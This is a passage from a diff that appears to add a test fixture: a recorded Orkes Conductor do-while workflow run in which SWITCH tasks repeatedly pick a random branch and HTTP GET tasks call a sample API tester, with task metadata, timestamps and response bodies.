inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 12, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__2", + retryCount: 0, + seq: 5, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925231, + startTime: 1711471925231, + endTime: 1711471925231, + updateTime: 1711471925231, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2cf60b5e-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__2", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711471925227, + startTime: 1711471925307, + endTime: 1711471925317, + updateTime: 1711471925307, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2cf791ff-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1544, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "rgiezqolnhzbydafasan", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 80, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__2", + retryCount: 0, + seq: 7, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711471925322, + startTime: 1711471925417, + endTime: 1711471925427, + updateTime: 1711471925417, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d0610f0-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 629, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "lzlatizbpoqjhzdosgso", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__3", + retryCount: 0, + seq: 8, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925449, + startTime: 1711471925449, + endTime: 1711471925449, + updateTime: 1711471925449, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d17c431-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__3", + retryCount: 0, + seq: 9, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711471925445, + startTime: 1711471925527, + endTime: 1711471925538, + updateTime: 1711471925527, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d18d5a2-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4184, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "krbshxkajdnwwsfktacy", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 82, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__3", + retryCount: 0, + seq: 10, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711471925543, + startTime: 1711471925638, + endTime: 1711471925648, + updateTime: 1711471925638, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d27c9c3-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6209, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "yfwguelsuywesbdqtgot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__4", + retryCount: 0, + seq: 11, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925677, + startTime: 1711471925677, + endTime: 1711471925677, + updateTime: 1711471925677, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d39a414-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__4", + retryCount: 0, + seq: 12, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471925667, + startTime: 1711471925748, + endTime: 1711471925760, + updateTime: 1711471925748, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d3ab585-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4205, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "jfkmltyjvljzekrrokgb", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__5", + retryCount: 0, + seq: 13, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925782, + startTime: 1711471925782, + endTime: 1711471925782, + updateTime: 1711471925782, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d4a6cf6-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__5", + retryCount: 0, + seq: 14, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471925777, + startTime: 1711471925859, + endTime: 1711471925876, + updateTime: 1711471925859, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d4b7e67-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8381, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "qwfsboamyfvitgofhmyx", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 82, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__6", + retryCount: 0, + seq: 15, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471925899, + startTime: 1711471925899, + endTime: 1711471925899, + updateTime: 1711471925899, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d5bf928-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + 